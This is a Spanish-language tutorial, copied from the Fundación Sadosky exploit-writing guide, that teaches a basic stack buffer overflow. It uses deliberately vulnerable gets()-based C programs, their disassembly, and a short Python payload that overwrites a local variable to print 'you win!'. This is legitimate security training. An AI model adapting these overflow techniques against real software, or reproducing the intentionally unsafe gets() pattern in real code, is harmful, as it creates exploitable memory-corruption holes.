# ATAQUE “SMASH THE STACK” SENCILLO

{% hint style="info" %}
Artículo copiado de la Fundación Sadosky escrito por Teresa Alberto.
{% endhint %}

{% embed url="<https://fundacion-sadosky.github.io/guia-escritura-exploits/buffer-overflow/1-practica.html>" %}

## ANÁLISIS DEL PROGRAMA VULNERABLE

### Stack 1 <a href="#stack-1" id="stack-1"></a>

```c
#include 

int main() {
        int cookie;
        char buf[80];
        
        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x41424344)
                printf("you win!\n");
}
```

### ¿Qué hace el programa?

Se declaran dos variables locales `cookie` (numérica) y `buf` (array de char o, en C, string). `gets()` toma datos de la entrada estándar y los guarda en `buf`, `cookie` no se inicializa pero se evalúa si su valor es `0x41424344` (“ABCD” en ASCII), si es así se imprime el mensaje ganador.

Compilamos y ejecutamos el programa con los [flags necesarios](https://fundacion-sadosky.github.io/guia-escritura-exploits/configuracion.html) y vemos su funcionamiento:

```bash
user@u:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2
-z execstack -o stack1 stack1.c

user@u:~$ ./stack1
buf: bffff5b4 cookie: bffff604
```

Se imprime la dirección de las variables locales y se espera una entrada del usuario. Ingresamos cualquier entrada y el programa finaliza.

### Layout de la pila antes del exploit:

Antes de ejecutar `gets(buf)` el mapa de la pila del programa es el siguiente:

```c
        int main() {
           int cookie;
           char buf[80];
           
           printf("buf: %08x cookie: %08x\n", &buf, &cookie);
eip =>     gets(buf);
   
           if (cookie == 0x41424344)
              printf("you win!\n");
        }
```

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDH7Ha-uB_xzwYZlcS%2F-MkDHw2lk4wWSYx37wgo%2Fimagen.png?alt=media\&token=fd486370-1aac-47ce-8c5d-e3e72851051c)

Si pensamos de manera simplificada el **punto de entrada de un binario**, dentro de `_start` se hace un `call main()`. La instrucción `call` apila la dirección de retorno (para que luego de ejecutar `main()`se retorne a `_start`) y se apila el frame pointer actual (`ebp`), cuyo valor se almacena porque se va a adecuar al frame de `main()`. Acto seguido se pasa el control a la función llamada `main()` que apila primero la variable local `cookie` y después `buf`.

Si tenemos en mente la convención del llamado a funciones es posible saber en qué parte de la pila se encuentran los valores que nos interesan:

```c
[ebp-0x54]  = buf
[ebp-0x4]   = cookie
[ebp]       = ebp anterior guardado
[ebp+0x4]   = dirección de retorno
```

### El programa desensamblado <a href="#el-programa-desensamblado" id="el-programa-desensamblado"></a>

Como lo compilamos con `gcc -g`, se puede desensamblar el programa intercalado con el código fuente con `objdump -M intel -S stack1`.

```c
user@u:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack1 stack1.c

user@u:~$ objdump -M intel -S stack1


0804845b <main>:
/* stack1-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
 804845b: 55                    push   ebp
 804845c: 89 e5                 mov    ebp,esp
 804845e: 83 ec 54              sub    esp,0x54                  ; local vars 
  
  int cookie;
  char buf[80];

  printf("buf: %08x cookie: %08x\n", &buf, &cookie);
  8048461: 8d 45 fc              lea    eax,[ebp-0x4]
  8048464: 50                    push   eax                      ; param 3 [ebp-0x4]  | addr cookie
  8048465: 8d 45 ac              lea    eax,[ebp-0x54]
  8048468: 50                    push   eax                      ; param 2 [ebp-0x54] | addr buf
  8048469: 68 30 85 04 08        push   0x8048530                ; param 1 | "buf: %08x cookie: %08x\n"
  804846e: e8 9d fe ff ff        call   8048310 <printf@plt>     ; call printf
  8048473: 83 c4 0c              add    esp,0xc
  
  gets(buf);
  8048476: 8d 45 ac              lea    eax,[ebp-0x54]           ; param [ebp-0x54] | addr buf
  8048479: 50                    push   eax
  804847a: e8 a1 fe ff ff        call   8048320 <gets@plt>       ; call gets
  804847f: 83 c4 04              add    esp,0x4

  if (cookie == 0x41424344)
  8048482: 8b 45 fc              mov    eax,DWORD PTR [ebp-0x4]  ; [ebp-0x4]: cookie
  8048485: 3d 44 43 42 41        cmp    eax,0x41424344           ; ¿cookie == 0x41424344?
  804848a: 75 0d                 jne    8048499 <main+0x3e>      ; ¿Zflag == 1?
     
     printf("you win!\n");
     804848c: 68 48 85 04 08        push   0x8048548             ; "you win!"
     8048491: e8 9a fe ff ff        call   8048330 <puts@plt>    ; call printf
     8048496: 83 c4 04              add    esp,0x4
}
 8048499: c9                    leave  
 804849a: c3                    ret 
```

{% hint style="success" %}
**lea vs mov**:\
\
&#x20;En el programa aparece la instrucción `lea` (en inglés **Load Effective Address**) que carga una dirección (dada por el operando fuente) en dónde indique el operando destino y funciona de manera similar al operador de dirección “&” en C. En el programa aparece de la siguiente forma: `lea eax,[ebp-0x4]`. En esta instrucción se recupera la dirección de `cookie` en la pila y se la almacena en `eax`.\
&#x20;Por su uso similar a `mov`, es posible confundirse. Con `lea eax,[ebp-0x4]` no se dereferencia `ebp-0x4` como puntero sino que sólo se está calculando la dirección de `ebp-0x4` para almacenarla en el primer operando. En cambio una instrucción como `mov eax,[ebp-0x4]` sí considera a su segundo operando un puntero y se copia el valor al que éste apunta.
{% endhint %}

{% hint style="warning" %}
**Directivas de tamaño: DWORD.**\
&#x20;En el ejemplo anterior la instrucción `mov eax, DWORD PTR [ebp-0x4]` al especificar el segundo operando incluye una directiva de tamaño `DWORD` que implica que lo que se debe copiar a `eax` son 32 bits. Las diferentes directivas de tamaño están especificadas en el gráfico del manual de Intel a continuación:\
\
Si lo pensaramos en C un `char` es un `BYTE` (8 bits), un `short` es una `WORD` (16 bits), un `int` es una `DOUBLE WORD` (32 bits) y un `double` es un `QUAD WORD` (64 bits).<br>
{% endhint %}

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDH7Ha-uB_xzwYZlcS%2F-MkDJNMnz16INtiVZcdL%2Fimagen.png?alt=media\&token=2c582b86-aed8-4166-ab39-4e8c93491d10)

### ¿Cuál es la vulnerabilidad en `gets()`? <a href="#cual-es-la-vulnerabilidad-en-gets" id="cual-es-la-vulnerabilidad-en-gets"></a>

Consultamos `man gets`:

```bash
 user@u:~$ man gets     
 char *gets(char *s);     
"gets() lee caracteres desde stdin en el array apuntado por s, 
hasta encontrar un caracter de línea nueva o un caracter de final de fichero (EOF). 
Cualquier carácter de línea nueva es descartado, y reemplazado por un carácter 
nulo."
"BUGS: Nunca usar gets() porque no es posible controlar cuántos caracteres va a 
leer de stdin y, por lo tanto, es peligroso ya que puede almacenar caracteres por 
fuera del fin del buffer. Es preferible usar fgets()".
```

Es una función que lee caracteres por entrada estándar pero no verifica la longitud de lo que almacena respecto al espacio del búfer donde se lo va a almacenar.

## ATAQUE BÁSICO <a href="#ataque-smash-the-stack-basico" id="ataque-smash-the-stack-basico"></a>

El ataque conocido como ***Smash the stack*** publicado por Aleph One en la revista [Phrack](http://phrack.org/issues/49/14.html) consiste en corromper la pila de ejecución de un programa vulnerable escribiendo por fuera de los límites de un búfer. Este ataque consiste en aprovechar una vulnerabilidad del tipo “buffer overflow” o desbordamiento de un búfer almacenado en la pila. Un programa con una función vulnerable (del tipo `gets()` que no chequea el tamaño de un búfer) permite escribir en el búfer más datos que los que éste puede contener. Si abusamos de la vulnerabilidad y escribimos datos que superan el tamaño del búfer logramos desbordarlo y escribir por fuera de los límites de ese bloque de memoria.

En este ataque básico el objetivo será a través de una corrupción de la pila modificar una variable local (`cookie` con el valor `0x41424344` lograr imprimir el mensaje ganador). No obstante las posibilidades que brinda la escritura por fuera de los límites del búfer no se reducen a ello. Más adelante se verá cómo lo primordial que querremos escribir fuera de los límites del búfer va a ser información de control como la dirección de retorno.

Entonces en el Stack 1 la “corrupción” de la pila tendrá como objetivo particular sobreescribir la variable local `cookie` con el valor `0x41424344` para que la condición que lo evalúa sea verdadera y se imprima el mensaje ganador “you win!”. Como se indicó la función `gets(buf)` nunca evalúa la cantidad de caracteres de `buf` por lo que es posible escribir la pila por fuera de los límites de `buf` hasta sobreescribir `cookie` con el valor deseado.

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDH7Ha-uB_xzwYZlcS%2F-MkDJTiJTkI-NK6RzUBG%2Fimagen.png?alt=media\&token=cf75fe13-6276-419f-b7a4-efd4fa3be55a)

Para eso, primero calculamos la cantidad de caracteres exacta que debemos ingresar por entrada estándar.\
&#x20;Con el mapa de la pila en la memoria, entendemos que primero debemos ingresar un dato cualquiera hasta completar los 80 bytes de `buf` y los siguientes 4 bytes van a sobreescribir el contenido de `cookie`.\
&#x20;Como el caracter “A” en ASCII es un byte (`\x41`) lo usamos de relleno 80 veces, seguido del valor de `cookie` deseado.

```python
user@u:~$ python -c 'print ("A" * 80 + "\x44\x43\x42\x41")' | ./stack1 
buf: bffff5b4 cookie: bffff604
you win!
```

Y logramos imprimir el mensaje ganador.\
&#x20;A medida que los exploits se complejicen será de utilidad armar un archivo en Python con el exploit que funcionará como input: `exploit.py`.

```bash
#!/usr/bin/python
output = "A" * 80 + "\x44\x43\x42\x41"
print output
```

Y al ejecutar el programa con ese input logramos el mismo resultado:

```bash
user@abos:~$ python exploit.py |./stack1
buf: bffff5b4 cookie: bffff604
you win!
```

{% hint style="danger" %}
Si utilizamos `gdb` a la hora de debugear el programa es importante tener en cuenta las diferencias en las direcciones al ejecutar un programa y al debugearlo con `gdb` para lograr los resultados esperados.
{% endhint %}

{% hint style="success" %}
Cuando debugeamos con [`gdb`](https://fundacion-sadosky.github.io/guia-escritura-exploits/herramientas.html#debugger-gdb) es posible ingresar un input por stdin al programa vulnerable de la siguiente manera:
{% endhint %}

```bash
user@u:~$ python exploit.py > in
user@u:~$ gdb ./stack1
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
...
(gdb) r < in
buf: bffff5b4 cookie: bffff604
you win!
```

### Layout de la pila después del exploit: <a href="#layout-de-la-pila-despues-del-exploit" id="layout-de-la-pila-despues-del-exploit"></a>

Gráficamente logramos el siguiente resultado:

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDH7Ha-uB_xzwYZlcS%2F-MkDK07tEstlG0xdnHCt%2Fimagen.png?alt=media\&token=6bb1074f-9013-437e-a6cb-19dd5ebaf6f0)

### ¿Cómo seguir? <a href="#como-seguir" id="como-seguir"></a>

Puede practicar con los siguientes ejemplos:

#### Código fuente Stack 2 <a href="#codigo-fuente-stack-2" id="codigo-fuente-stack-2"></a>

```
#include 

int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x01020305)
                printf("you win!\n");
}
```

#### Código fuente Stack 3 <a href="#codigo-fuente-stack-3" id="codigo-fuente-stack-3"></a>

```
#include 

int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x01020005)
                printf("you win!\n");
}
```

## REFERENCIAS

\[1]. Aleph One. (Noviembre de 1996). Smashing the Stack for Fun and Profit. *Phrack*, 7. Disponible en: <http://phrack.org/issues/49/14.html>
